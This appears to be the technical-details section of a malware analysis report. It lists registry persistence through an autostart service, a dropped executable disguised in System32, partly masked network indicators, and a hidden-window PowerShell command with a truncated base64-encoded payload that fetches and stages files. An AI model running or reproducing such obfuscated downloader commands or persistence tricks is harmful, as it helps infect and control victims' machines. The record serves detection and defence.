Technical Information
- [<HKLM>\System\CurrentControlSet\Services\wmdrmnet] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\wmdrmnet] 'ImagePath' = '"<SYSTEM32>\dhcpcsvc\wmdrmnet.exe"'
- 'wmdrmnet' "<SYSTEM32>\dhcpcsvc\wmdrmnet.exe"
- 'wmdrmnet' <SYSTEM32>\dhcpcsvc\wmdrmnet.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABGADUAcgB0AHoAegBnAD0AKAAnAFYAJwArACgAJwBnAGYAJwArACcAOQAnACkAKwAoACcAZQAnACsAJwBtADcAJwApACkAOwAuACgAJwBuAGUAdwAnACsAJwAtAGkAdABlAG0AJwApACAAJABlAE4AdgA6AFQAZQBNAFAAXAB3AE8AUgBEAFwAMgAwAD...
- %TEMP%\word\2019\buccmi.exe
- <SYSTEM32>\dhcpcsvc\wmdrmnet.exe
- from %TEMP%\word\2019\buccmi.exe to <SYSTEM32>\dhcpcsvc\wmdrmnet.exe
- '98.##.75.196':80
- http://te####ojikibris.com/wp-content/Q/
- http://98.##.75.196/JsZZD0luUIxVT2v/SxBavc8bS/2tJk/g3x3TXc/5Vce/4T7bHDDJC/
- DNS ASK te####ojikibris.com
- '%TEMP%\word\2019\buccmi.exe'
- '<SYSTEM32>\dhcpcsvc\wmdrmnet.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABGADUAcgB0AHoAegBnAD0AKAAnAFYAJwArACgAJwBnAGYAJwArACcAOQAnACkAKwAoACcAZQAnACsAJwBtADcAJwApACkAOwAuACgAJwBuAGUAdwAnACsAJwAtAGkAdABlAG0AJwApACAAJABlAE4AdgA6AFQAZQBNAFAAXAB3AE8AUgBEAFwAMgAwAD...' (with hidden window)